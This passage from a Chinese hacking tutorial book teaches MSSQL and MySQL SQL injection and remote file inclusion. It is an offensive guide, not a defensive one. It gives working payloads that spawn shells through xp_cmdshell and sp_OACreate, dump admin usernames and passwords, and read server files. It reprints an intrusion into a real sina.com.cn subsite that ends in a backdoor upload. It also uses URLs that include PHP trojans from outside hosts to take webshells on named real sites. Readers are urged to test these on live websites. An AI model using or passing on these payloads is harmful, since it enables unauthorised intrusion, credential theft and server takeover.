不过在使用扩展存储过程之前,先要判断它是否存在,我们使用:SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'就可以完成了。例如http://www.xxx.com/xxx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell',如果返回正常则说明扩展存储过程存在,返回不正常的话就说明不存在。
如果扩展存储过程不存在,我们可以使用:exec sp_addextendedproc xp_cmdshell,'xplog70.dll'来恢复已经不存在的扩展存储过程,例如http://www.xxx.com/xxx.asp?id=xx; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'执行之后,网站http://www.xxx.com/后台的数据库的扩展存储过程就被恢复了。而如果要删除扩展存储过程,我们只要执行exec sp_dropextendedproc 'xp_cmdshell'这个命令就可以完成了。
前面,我们利用了xp_cmdshell获得了一个shell。其实,在MSSQL中还有一种方法可以获得shell,下面给大家介绍。在MS SQL2000中,提供了一些函数用于访问一个叫做OLE的对象,通过它可以访问OLE控件,间接的使我们获得一个shell。而要得到一个shell就要使用两个关键函数,分别为“sp_OACreate”和“sp_OAMethod”。相关的SQL语句为:
DECLARE @S INT
EXEC SP_OACREAT 'wscript.shell',@s
exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c 需要执行的DOS命令(如dir c:\)'
利用它我们同样可以得到一个shell,可以执行我们的各种命令。通过URL提交为:
http://www.xxx.com/xxx.asp?id=xx;DECLARE @S INT
EXEC SP_OACREAT 'wscript.shell',@s
exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c dir c:\'
执行的结果就是返回遍历服务器C盘下的所有文件,同样达到一个shell的功能,和上面的是不是一样呢?上面两种获得shell的方法虽然好,但是必须是SA权限才能够执行的。也就是说如果我们注入的网站的数据库不是SA权限的话,那么上面获得shell的方法都没有用了。
对于MSSQL下的注入我暂时就讲到这里,当然并没有完。因为考虑到大家在这里还没有接触过MSSQL数据库,所以对于在MSSQL下的一些更高级的注入技术,我会继续在第5章的5.6节中为大家介绍。
3、MySQL
PHP与MySQL是黄金组合,下面就以他们来作为MySQL注入的平台吧。首先我们要得到存在PHP注入的网站了,在google下输入inurl:php?id=就可以得到很多php的网站了。随便打开一个链接,如http://www.shidaiguocui.com/guide_show.php?id=32。在它后面加上and 1=1提交,返回正常,如图2-158所示。提交and 1=2后返回错误,如图2-159所示。
图2-158 加and 1=1返回正常
图2-159 加and 1=2后返回错误
通过上面两个结果就可以确定该网站存在注入漏洞。但是真正影响我们注入的确不是这个PHP网站,而是其后台的数据库。所以接下来我们就来判断其后台数据库了,一般都是MySQL。这里告诉大家一点,在目前的数据库系统中,只有MySQL数据库支持/*注释的,所以我们可以利用它来判断后台是否是MySQL,如果不是那它就不支持这种注释了,自然就会出现错误。我们输入http://www.shidaiguocui.com/guide_show.php?id=32/*后返回的结果如图2-160所示,没有出错,说明后台数据库就是MySQL了。
图2-160 网站的后台数据库为MySQL
接下来就是要判断MySQL数据库的版本的了,因为不同的版本对注入的结果会产生很大的影响。在MySQL版本4(包括版本4)及以上版本新增了一个联合查询查询(UNION)的功能,比如SQL语句1 UNION SQL语句2,提交之后我们的SQL语句1和SQL语句2都会被执行,通过联合查询这个字面意思也是可以理解的。正是这个功能使得MySQL发生SQL注入漏洞的危险性大大的得到提高,利用它我们可以轻易的获取数据库中其他数据表的信息。而在版本4以下,确不支持这个功能,而且由于PHP中的mysql_query函数限制了只能查询一个SQL语句,即使你使用分号把多个SQL语句组合到一起嵌入mysql_query函数,实际上也只有第一个SQL语句被提交给MySQL,所以那个时候MySQL的注入并不是特别的严重,而如今确变了。
所以确定MySQL的版本对我们来说比较重要,我们使用and ord(mid(version(),1,1))>51/*就可以实现了。例如http://www.shidaiguocui.com/guide_show.php?id=32 and ord(mid(version(),1,1))>51/*,提交之后,如果返回正常,如图2-161所示,说明这个数据库版本大于4.0,如果返回错误的话,就说明是小于4.0的版本了,即不支持UNION查询。这里用到了我们数据库中的version()函数,它的作用是数据库的版本信息。而ASCII码51代表的是3,这里大于3的当然就是4.0以上版本了啦!
图2-161 确定数据库版本为4.0以上
其实还有一种方法来确定是否是MySQL数据库及其版本。在MySQL数据库中,有一个其他数据库没有的扩展功能,它可以用/*!...*/这种注释语句来实现各版本功能的兼容。我们要判断后台数据库我们可以在URL后输入/*!%20s*/来确定,如果返回的页面是错误的话,那几乎可以确定网站后台数据库为MySQL了,如图2-162所示。
图2-162 后台数据库为MySQL
用它来确定了是MySQL数据库后还可以一步步来定位它的版本:如果在URL后输入/*!30000%20s*/后,如果返回错误的话,说明MySQL的版本大于3.0;如果在URL后输入/*!40000%20s*/后,如果返回错误的话,说明数据库版本大于4.0;如果在URL后输入/*!50000%20s*/后,如果返回正确的话,说明数据库版本小于5.0,如图2-163所示;我们还可以获得更加精确的版本,比如输入/*!4016%20s*/后返回正常则说明MySQL的版本小于4.0.16;输入/*!4015%20s*/后返回错误页面,那么就可以确定该MySQL的版本为4.0.15。
图2-163 数据库版本小于5.0
其实,说实话目前绝大部分的PHP网站的MySQL版本都是大于4.0的。至少我目前还没有见到过哪个网站是用的3.0版本的。这是因为MySQL是开源的,任何人都可以免费使用。自然只要一出新版本就会很快的淘汰旧版本,免费的又是最好的谁不用谁不喜欢呢。所以这里我讲的MySQL注入都是在版本4.0以上的。
确定版本之后我们就是要确定当前数据库的字段数目了。我们有两种办法来获得,一是通过UNINON;二是通过order by。
先来说第一种,在利用联合查询(UNION)字段数目的时候有一些限制,就是要求前面的SQL语句1和后面的SQL语句2中的字段数要相同,否则就会出错。如果我们在不知道数据表的情况下会给我们的渗透带来一些困难,所以必须确定查询语句查询的字段数目。而我们正是可以可以利用联合查询字段数目不匹配返回错误的这个特性就可以准确的获得查询语句查询的字段数目。我们可以提交union select 1,1,1,1及其类似的语句。通过不断的增加1的个数,在结合返回信息可以迅速确定该查询语句前面查询的字段数目。我们就是不断的增加1,然后根据返回的结果。如果当我们提交到一个1的时候,返回的页面是正确的,那么第一个SQL语句1中的字段数目就是union后多少个1的数目。
更为方便的我们可以使用第二种方法,利用order by来猜解数据表中的字段数。利用order by后加数字,MySQL会解释成按照第几列排序,如果查询没有我们提交的数字的那么多页就会返回错误。例如我们提交http://www.shidaiguocui.com/guide_show.php?id=32 order by 10后返回正常,这个时候说明数据表中的字段数大于5;当我提交order by 13时返回正常,如图2-164所示,而当提交order by 14时,如图2-165所示,却返回错误,这就说明数据表的字段为13个。
图2-164 提交13个字段时返回正常
图2-165 提交14个字段时返回错误
知道了字段数之后,我们就可以利用union查询来获得当前数据库的表名。利用方法是“union select 字段数 from 表名”,中间的字段数大家要注意了,它是这样表示的:假如有三个字段,那么就应该这样:1,2,3。例如刚才的那个网站,我们要获得网站数据库的表名,例如提交union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin后,就变成了http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin。返回结果是正常的,说明admin这个表名存在,而且在页面中还有一些数字,如图2-166所示。如果不存在就会返回错误页面。如果要猜解其他的表名,我们只需要不断的该表名就可以了,和前面的ACCESS注入中差不多了。
图2-166 返回的信息
在图2-166中的信息中,我们得到了几个数字,他们分别是2、3、4、5、7、9、10这几个数字。他们的作用就是分别就是代表的第几个字段,而且我们可以用其他的函数或字符代替这些字段。例如我们要查看数据库版本时用到的是version()函数,只要将version()放在上面几个字段中的任何一个就可以得到当前的数据库版本,例如提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1, version(),3,4,5,6,7,8,9,10,11,12,13 from admin那么就会在第2个字段处出现数据库版本的信息;例如我们提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from admin后就可以看到当前管理员的用户名,如图2-167所示;而当我们提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin后就暴出了当前管理员的密码,如图2-168所示。
图2-167 暴出管理员用户名
图2-168 暴出管理员密码
上面我们成功的暴出了管理员的密码,当然上面暴出的只是admin表中的第一条记录,因为在默认的情况下它是取第一条记录。而如果我们要取admin表中的其他记录呢?比如第二条。不过要实现读取其他记录,我们首先要得到表中能够唯一识别改记录的字段。如在我们实际生活中可以用身份证号码来识别每一个人,而在数据库也要有这么一个字段,在数据库中我们称其为主键,在第5章中有详细介绍。一般来说程序员在做数据库的时候都是用id这个字段名来作为主键。这里我们假设id就是主键,那么我们要取得admin表中的第二条纪录的信息就应该提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin where id=2就可以得到第二条记录的信息,也就是在后面加上where id=数字。而这个数字就是管理员的编号,它是唯一的。
这个查询其他记录的功能非常的有用,我们也知道现在几乎所有的网站的密码都是经过了MD5加密,如果那个密码设置的很变态的话,我们是很难破解的。不能被破解,系统又没有如cookie欺骗之类的漏洞,那么我们得到了加密后的密码也是没有用。而我们查询其他的记录,那么就很有可能其他的记录的密码不是很强壮,破解的几率就很大。
前面在介绍PHP注入工具的时候,就提到了load_file()这个函数,利用它我们可以轻易的读取到服务器上的内容。不过要使用这个函数,当前数据库的权限必须为root(和SA是一样的,只不过这里不叫SA,叫root,其实也是超级管理员)。所以我们要使用load_file()函数,首先要判断是否是root权限,使用and ord(mid(user(),1,1))=114/*就可以完成了。例如输入http://www.shidaiguocui.com/guide_show.php?id=32 and ord(mid(user(),1,1))=114/*后,如果返回正确的话,则说明是root权限,而错误的话就不是root权限了,如图2-164所示。
图2-169 数据库的权限不是root
我们还可以利用and (select count(*) from MySQL.user)>0来判断是否具有文件读写的权限,同样可以实现文件的读取。
前面我们在得到存在的数据表以后,返回的信息有很多的数字,如图2-166。我也提到了可以用函数来代替他们。如果我们发现一个网站可以执行load_file()函数的话,也可以往这些字段中写入load_file()函数,以读取服务器上的信息。
我还是以上面的网站为例子,而且MySQL是具有root权限的,可以利用load_file()读取文件。不过这里我假设这个网站是用的windows操作系统,那么我要读取c:/boot.ini文件中的信息,我们可以提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,load_file(0x633A2F626F6F742E696E69),3,4,5,6,7,8,9,10,11,12,13 from admin就可以读取c:/boot.ini中的信息了,有的人会问在上面中没有c:/boot.ini啊?其实0x633A2F626F6F742E696E69就是c:/boot.ini的十六进制表示。这里把它改成十六进制是为了防止我们提交的数据被PHP给转义掉,例如提交'时被转义为\'。被转义后我们提交的数据就会是一个错误的了,自然结果也是错误的,而十六进制可以避免这个情况的发生。
上面我简单的介绍了下在MySQL数据库环境下怎么通过手工注入得到网站管理员密码以及怎么执行一些特殊的函数(如load_file)来达到我们攻击的目的。其实MySQL下还有一些高级的黑客技术,但是在这里我暂时不讲了。因为涉及到了很多MySQL系统和PHP的知识,而在这里大家还没有学PHP和MySQL。所以其他的高级技巧我会在第5章的5.7节和第10章中来给大家介绍,目的就是让大家有了那些基础知识之后能够更加深刻的理解这些高级黑客技术。如果放在这里肯定有很多人看不懂,势必会影响大家的学习热情。好了,上面讲了那么多,大家也可以去网上找几个站来做做试验了。
有一篇文章非常值得大家学习,是由剑心写的《对sina.com.cn的一次安全检测》。很适合刚刚学会PHP手工注入的新手借鉴,文章内容如下所示:
最近学习了一些简单的Mysql注入知识,也对Php下的注入有了一定的了解,就想找个机会检验下自己的学习成果,顺便把学习到的知识做个总结,于是上网想找几个目标来实习下!看了那么多的牛人对163.com做安全检测,我想那就试试可以跟163.com齐名的另一个网站新浪网,看看它的安全性如何吧。
要想最快地找到网站的系统漏洞就要用扫描,要想最快地找到脚本方面的漏洞就应该用Google了。我在Google里这样搜索:php?id= site:sina.com.cn,这句话的意思是在sina.com.cn中找寻链接有php?id=这样的信息,因为Php注入的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),所以我们主要找id=这样的地方,很有可能就是传递整型数字变量的地方。点搜索之后就要看看运气了,嘿嘿,还真让我找到一个哦。
XX.sina.com.cn是新浪的一个分站,我看到里面有很多形如php?id=的地方,这些就是潜在的可能出问题之处。先看看http://XX.sina.com.cn/course/coursedetail.php?id=1122这个链接,加上and 1=1提交,正常返回,如图2-170所示。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2
返回信息如图2-171所示,在下面还暴出了路径。
图2-170 添加and 1=1后返回正常
图2-171 添加and 1=2后返回错误并暴出了路径
通过基本分析可以知道,这的确是个注入点,因为我们的1=1和1=2被当成代码执行了,那么就是存在漏洞了。如果参数没有其它过滤的话(我发现很多的注入点其实都被过滤了select和union等关键字,在mysql中等于是个鸡肋漏洞)我们就可能注入这个网站啦!继续吧,看看是什么数据库!猜测就知道应该是php+mysql的,但是还是用事实说话吧!提交:
http://XX.sina.com.cn/course/coursedetail.phpid=1122/*jnclovesw
正常返回,如图2-172所示,事实证明这的确是mysql服务器,因为数据库里支持/*注释的好像差不多就是Mysql啦!
图2-172 确定后台数据库为MySQL
知道是什么数据库了,那就继续看看数据库的信息吧。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and ord(mid(version(),1,1))>51/*
正常返回,图2-173所示。哈哈,看来这个数据库版本是大于4.0的啦!Ascii码51代表的是3,这里大于3的当然就是4.0以上版本啦!
图2-173 确定MySQL的版本为4.0以上
看看是不是root吧!提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and ord(mid(user(),1,1))=114/*
这是看user的第一个字母是不是r,返回信息如图2-174所示,看来不是root,不能load_file()啦!由上面路径信息知道,这个机器应该是Linux的,为了验证下,我们还是提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and length(load_file(0x2F6574632F706173737764))>0/*
返回信息如图2-175所示,看来真的没有file权限啦,也就不用判断是不是一台web和Mysql服务器了,很可惜,不过我们还是继续injection吧!
图2-174 当前权限不是root
图2-175 不能读取文件
在进一步注入之前,我们还是来看看能不能找到后台吧。因为如果辛苦注入的结果是没有后台可以登录,通常能把人郁闷死!去同目录下加个admin/回车,显示没有找到页面,换成manage等也没有。去根目录加个/admin,哗的一下,登录页面出现了,如图2-176所示。嘿嘿,注入有望啦!其实找到登录的后台还有个作用,因为注入过程中是需要猜表和字段的,但是程序通常在登录的地方和数据库中用一个变量名,所以看看登录的字段就可以很快地猜测数据库中的字段啦!我们查看源文件,发现登录的用户名是username,密码是password,这也给了我们另外一个信息,数据库的表很有可能是user或者admin这些。凭什么?凭直觉啦!赶快去试试吧!
图2-176 管理员后台登陆页面
因为是4.0以上的数据库,所以我们不需要一位一位地猜测字段内容,可以一下子将结果Union到网页上来的!先看看有多少字段吧!手工加union然后一直加太麻烦,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 10/*
正常返回,说明字段大于10个;提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 20/*..........
到40的时候出错了,说明字段在30和40之间。那么就测试35试试,最后确定字段数是33。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 33/*
正常返回了,哈哈!然后再提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*
返回结果如图2-177所示,看来果然是支持Union的,并且好多字段都是字符类型的,还在页面有显示的哦!提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*,
看看返回的结果,就可以在7和8出现的地方找到用户名和版本啦!继续我们的注入,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from users/*
返回错误,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from admin/*
正常返回,说明是存在admin这个表的,如图2-178所示。结合上面猜测到的字段,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from admin/*
返回结果如图2-179所示,看到原来15、16的地方变成了用户名和密码了,密码加密了哦!去md5的破解网站搜索下,失败了,找不到密码,看来密码够强壮的啊!破解不出密码还是没用的,试试把中文的用户名作为密码登录,然后再拆分登录,还是不行,简单的社会工程学失败了!
图2-177 返回好多可用的字段
图2-178 得到用户名和版本
图2-179 暴出管理员密码
分析一下,我们提交的这个union查询是查询出admin的第一条记录的,因为我们没有做任何的限制条件,既然第一个记录的密码破解不出来,那么其他的记录很可能被破出来哦!用户越多,弱口令的可能性越大。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),versin(),9,10,11,12,13,14,username,password,id,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from admin/*
发现没有暴错,并且原来17的位置是3,说明id这个字段是存在的,并且是从3开始的,那么一切就简单了。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122%20and%201=2%20union%20select%201,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,id,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20admin%20where%20id>3/*
这条语句是给查询语句加上限制条件,出来结果如图2-180所示。哈哈,又出来一个用户名和密码了吧!拿它的密码去破解一下,发现是123123,太好了,果然是个弱口令,如果这个不行的话,我们可以接着往下找弱口令用户,一定会存在的哦!
图2-180 暴出其他管理员密码
剩下的就好办了。去后台用得到的用户名和密码登录成功,如图2-181所示。后台还真有不少功能。一个学校图片管理的地方吸引了我,赶紧去看看,发现是有上传的。选择一个php后门上传试试,晕!居然没有提示任何错误,去图片管理查看新上传的图片属性就得到我们的后门地址了,如图2-182所示。至此,对sina关于脚本的小小安全检测结束了,由于管理员小小的疏忽导致我们成功地拿到webshell。后台可以更改所有人的密码以及一些新站的域名信息哦,我不敢动,怕怕!
图2-181 成功进入后台
图2-182 通过图片上传木马得到webshell
很多系统往往就是因为一个参数没有过滤而导致被人攻陷的,服务器在某些地方倒是做了过滤,不过还是被我发现了一个缺少过滤的参数,呵呵,就算是一次练手吧!文章很简单,有什么问题欢迎到NoHack论坛或者BCT讨论,我的ID是剑心大人。
编辑点评:
相信看了这篇文章,大家就会知道攻破一个大的门户网站也不是件难事。剑心入侵了sina的一个分站,在文章里说不过是新学了一点php注入技术练手,这是一种很好的hack心态。如果你要去检测一个网站,在没有动手之前就想人家的站如何大如何有名气,肯定安全,那我估计你的技术也只能发挥出一半水平了。黑客入侵是一种竞技,心态很重要。
在这一节为大家讲授大名鼎鼎的文件包含漏洞,相信经常关注脚本攻击的朋友应该听过甚至玩过这个漏洞。目前利用远程文件包含漏洞来入侵网站是国外目前使用最为普遍的一种入侵方式,对于菜鸟来说也是一种非常容易掌握的入侵方式。
那么,远程文件包含漏洞到底是什么呢?简单的说,远程文件包含漏洞就是因为PHP文件中的变量过滤不严,没有判断提交的参数是本地的还是远程主机上的,因此我们可以指定远程主机上的文件作为参数来提交给变量执行,而如果提交的这个文件中存在恶意代码甚至干脆就是一个php木马的话,文件中的代码或php木马就会以WEB权限被成功执行。因为这个漏洞是PHP文件中的变量过滤,所以这个漏洞也只有PHP系统中存在,这个常识问题大家要清楚哦!
对于大部分人来说,要利用文件包含漏洞进行入侵的过程为:首先根据网上公布的漏洞的资料,在漏洞的公布上,我给大家推荐http://www.milw0rm.com/这个网站,这个网站是专门用于漏洞的,而我们要所的文件包含漏洞自然有很多,可以找到我们需要的文件包含漏洞。如图2-183所示。
图2-183 漏洞公布网站milw0rm
有了漏洞资料后,我们就是要找到存在这个的网站了,我们可以使用google hack技术来获得使用这个系统的网站。然后使用包含有恶意代码的文件或是php木马进行入侵,如果入侵成功的话,寻找对方站点内有写权限的目录,上传php木马获取webshell。如果想进一步入侵的话,还可以上传本地溢出程序,尝试获取对方系统的root权限,安装木马等等,从而最终完全这个网站的服务器。
在这一节中,我就先教大家如何利用文件包含漏洞来进行网站的入侵,使大家可以达到利用漏洞公告及exploit来入侵网站的目的。至于为什么会出现这个漏洞,已经怎么在程序中寻找这个漏洞,我会在第10章中为大家详细的介绍。这里给大家解释一下exploit:它是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取网站用户资料文档、添加自定义用户、甚至侵入网站获得管理员权限控制整个网站的最终目的。更为通俗的说就是一个漏洞的攻击程序,利用它我们就可以达到攻击的目的,从而获得相应的权限。
这里还要提醒大家一点,虽然前面我们搭建PHP环境的时候用的是windows系统。但是在实际中,PHP网站大部分是架构在Linux或Unix操作系统下的。所以我们在进入文件包含漏洞攻击的时候,经常会用到一些Linux或Unix命令和其他知识,不过对于用到的知识我都详细的给大家解释,这点不必担心。这里为了大家方便学习,在光盘中,我已经为大家准备了《LINUX系统命令应用知识书籍》这个电子书,里面收录了大部分的linux命令,很适合大家在入侵的时候用。如果大家想系统性的学习Linux的话,可以去买如《红帽Linux9 从入门到精通》这本书,而liunx下的黑客书我向大家推荐由我的好朋友姜超写的《黑客Linux入门》,该书讲述了很多Linux下的黑客技术。
下面就开始我们的文件包含漏洞的攻击之路吧。首先我们要在网站milw0rm中得到一些存在文件包含漏洞的信息,当然你也可以通过途径得到网站漏洞的资料。因为在milw0rm中存在很多的漏洞信息,所以这里给大家提供一个小技巧。该网站在首页中提供了一个“search”的功能,点击进入后我们搜索关键字“File Include”就可以找到所有文件包含漏洞的资料,如图2-184所示。
图2-184存在文件包含漏洞的所有信息
这里我用AFGB GUESTBOOK 2.2 (Htmls)远程文件包含漏洞为例来详细的看看利用过程,其实大部分的文件包含漏洞利用的过程都差不多,而且milw0rm所公开的文件包含漏洞的信息中都已经提供了ExPloit和攻击方法。我们只要按照它的方法就可以顺利的完成攻击了。AFGB GUESTBOOK 2.2是由台湾人开发的一套PHP留言版系统。如图2-185所示,这是milw0rm对AFGB GUESTBOOK 2.2 (Htmls)远程文件包含漏洞的利用方法及ExPloit。
图2-185 Net_DNS <= 0.3漏洞的攻击方法
按照图2-185中的说明出问题的文件是add.php?、admin.php?、look.php?、re.php。而且已经给了出了攻击的例子了,这里为了大家方便把它写出来,为:
http://www.target.***/[path]/add.php?Htmls=http://shell.txt? http://www.target.***/[path]/admin.php?Htmls=http://shell.txt?
http://www.target.***/[path]/look.php?Htmls=http://shell.txt?
http://www.target.***/[path]/re.php?Htmls=http://shell.txt?
这里的http://www.target.***/[path]/就是我们要攻击的网站的URL地址。而add.php?、admin.php?、look.php?、re.php就是出现文件包含漏洞的文件,而Htmls就是文件中接收数据的参数,正是由于这个参数才使得文件包含漏洞出现了。http://自己的网站/shell.txt?就是要我们所提交的数据,其实就是一个PHP木马的地址。这个地址可以用我们自己的,也可以用网络上一些为大家准备好的地址。对于大部分来说,都是没有自己的木马地址。所以这里为了和大家保持一致我也使用网络上的地址。
目前这样的PHP木马地址,国内的有http://www.sagi.net.cn/php.txt;国外的有http://hack-viyu.h16.ru/shell/r57shell.txt和http://pang0.by.ru/shall/pang057.zz。
根据上面所提供的信息,我们接下来就是要查找使用这套系统的网站了。通过我的搜索发现,只要我们输入“inurl:afgb.php?A=”或者“程式设计:过往云烟[V2.2]”就找到非常多的使用这个系统的网站,例如我搜索inurl:afgb.php?A=就可以得到99900条记录,如图2-186所示。
图2-186 搜索到使用AFGB GUESTBOOK系统的网站
有了网站之后就是利用往网站里写入PHP木马了,整个利用过程非常的简单。根据上面的提示,我们只需要在参数Htmls后填上我们的PHP木马地址就行了。例如我们要获得http://rapworld.iglu.cz/guest/的webshell,如图2-187所示。
图2-187 使用AFGB GUESTBOOK系统的网站
因为这个系统中出现了四个漏洞,所以我们有四种方法获得webshell,他们分别是:
http://rapworld.iglu.cz/guest/add.php?Htmls= http://www.sagi.net.cn/php.txt
http://rapworld.iglu.cz/guest/admin.php?Htmls= http://www.sagi.net.cn/php.txt
http://rapworld.iglu.cz/guest/look.php?Html= http://www.sagi.net.cn/php.txt
http://rapworld.iglu.cz/guest/re.php?Html= http://www.sagi.net.cn/php.txt
其中http://www.sagi.net.cn/php.txt就是我们所用的PHP木马地址了,而它前面的就是网站中存在的文件包含漏洞的URL了,在前面的漏洞公告中已经说明过了。这里我使用http://rapworld.iglu.cz/guest/add.php?Htmls=http://www.sagi.net.cn/php.txt就轻易的获得了这个网站的webshell,如图2-188所示。
图2-188利用漏洞获得的Webshell
这个网站使用的是Linux操作系统,利用Apache搭建的服务器。网站的绝对路径为/iglu/velkej-disk/home/rapworld/web/default/guest,而且在这个目录下的权限是超级管理员权限,即为root,可以仔细看图2-188中/iglu/velkej-disk/home/rapworld/web/default/guest后面括号中是为(drwxrwxrwx),它就代表着超级管理员的权限了。这里要提示大家:关于UNIX/Linux的权限的知识,在UNIX/Linux系统中,目录及文件的权限分为所有者权限(属主权限)、同组用户权限、其它组用户权限。而每一组权限又分为r只读、w只写、x执行。比如上边的rwxrwxr-x,第一个rwx表示文件及目录的所有者的权限为读、写、执行;而第二个rwx表示同组用户的权限为读、写、执行;第三个r-x表示其它组用户的权限为读和执行。我们前面提交的是木马php.txt已经被放在了/iglu/velkej-disk/home/rapworld/web/default/guest目录下了。其默认上传后的权限为rw-r--r--,如果是.php扩展名的话,就可以直接访问了,只可惜是.txt的,因此还得将这个.txt文件改为.php文件。在改名前,注意一下这个php.txt文件,因为它默认并没有x执行权限,因此我们要想给它改名的话,还得先使用chmod命令给它设置可执行权限。提示:chmod命令可以用来更改文件的属性,即可以修改我们文件的权限。在我们webshell中,我们可以利用它已经提供的这个功能来完成这个操作,如图2-189所示。
图2-189 更改文件权限
因为是要更改php.txt的后缀名,而网站的绝对路径是/iglu/velkej-disk/home/rapworld/web/default/guest/,所以在param1中应该我们填入/iglu/velkej-disk/home/rapworld/web/default/guest/php.txt。而在param2中我们一定要添入0777。0777代表的意思就是rwxrwxr,也就是超级管理员的权限,这里不过只是用了数字表示而已。然后我们点击“Execute”按钮执行,执行完毕以后就会将rwxrwxrwx权限赋给php.txt文件了。
更改完php.txt的权限后,就要将php.txt改为php.php。这个时候我们要用到一个rename的命令,它的作用就是对文件进行重命名。我们运行rename /iglu/velkej-disk/home/rapworld/web/default/guest/php.txt /iglu/velkej-disk/home/rapworld/web/default/guest/php.php后就成功的对文件进行重命名了。那么在以后我们只要输入http://rapworld.iglu.cz/guest/php.php 就可以访问我们的Webshell拉,如图2-190所示。
图 2-190 更改为php.php后返回的webshell
当然,我们得到了webshell并不是最高权限,如果还要继续渗透的话,得到改网站服务器的root(超级管理员)的权限。可以运行php木马最下方的“Bind port to /bin/bash”或是“back-connect”来尝试得到对方系统的shell(类似Windows下的cmd shell的那种命令执行环境)。然后我们上传这个系统存在本地溢出的攻击程序,最后编译执行,如果溢出成功的话,就会获取对方系统的root权限。不过,并非每一个网站都可以成功得到对方的shell的,即使是使用的反弹连接方式也不一定就每次都会成功(比如对方有防火墙,或是因为网络原因)。对于这个方面这里不详细的讲解,大家可以去看一些系统的本地溢出程序的使用方法。
对于远程包含漏洞,除了手工的检测方式外,也可以利用一些工具来进行。这里我向大家推荐r-include2 这款工具(在光盘中已自带),它的使用格式为:r-include2 检测网站 远程包含的文件 shell文件 -r 。如果我们省略shell文件的话,默认将会使用http://www.sagi.net.cn/cmd.txt这个文件,在“[cmd]$”提示符后输入我们想要执行的命令就可以了。我还是以http://rapworld.iglu.cz/guest/来作为例子说明,使用工具r-include2我们只需要输入r-include2 http://rapworld.iglu.cz/guest/ add.php?Htmls= -r就可以得到一个shell了,如图2-191所示。虽然事实上它并不是一个真正的shell环境,但对于习惯了入侵UNIX/Linux的黑客来讲,却更容易接受这种命令执行环境。
图2-191 获得的一个shell
文件包含漏洞针对的基本上都是UNIX/Linux系统(Windows系统只占少数),因此,倘若大家想更好的来掌握远程文件包含漏洞的利用,诸如一些命令的使用,如何进行本地溢出,甚至是如何安装rootkit,如何制作后门等,就必须先掌握UNIX/Linux系统的一些基础知识了,所以希望大家在学习文件包含漏洞的同时也能够适当去学习一些UNIX/Linux知识,这样就更加利于我们入侵了。
其实,大部分文件包含漏洞的使用方法都差不多,在得到webshell后我们可以做非常多的事。比如,在UNIX/Linux系统中,我们输入etc/passwd后就可以看到服务器上的密码文件了;还可以提升权限获得系统控制权。这样会涉及到很多UNIX/Linux的知识,本书并不打算讲太多UNIX/Linux方面的知识,所以在光盘中我已经给大家提供了一本关于UNIX/Linux的书。对于Webshell的使用方法和提权,接下来就给大家介绍。
说起旁注,其实也就是看同一台服务器上是否绑有多个站点。因为现在大部分网站都是使用的虚拟主机,如果每一个网站都是一台服务器的话,那电信就会亏本死了。如果绑有多个站点,那么就算其中一个站点的脚本做得很安全,我们也可以从另一个网站进行突破。
我们说的旁注一般指的是绑了不同域名的不同站点上的旁注,这里我称为广义上的旁注。其实,还有一种由于同一站点内使用了多套不同程序,其中一套也许比较安全,但另一套却是有漏洞的。这里我称之为狭义的旁注。如动力3.51+dvbbs7.1的站点中,dvbbs7.1也许比较安全,但动力3.51漏洞百出,这就是狭义旁注利用的一个例子。我们在入侵的时候就先攻破动力3.51后获得webshell,那么同样我们也可以搞定使用dvbbs7.1系统的网站。关于狭义的旁注比较好理解和利用,我这里就不多说了,只是说一下一个极易被管理员忽略的狭义旁注的利用就可以了。
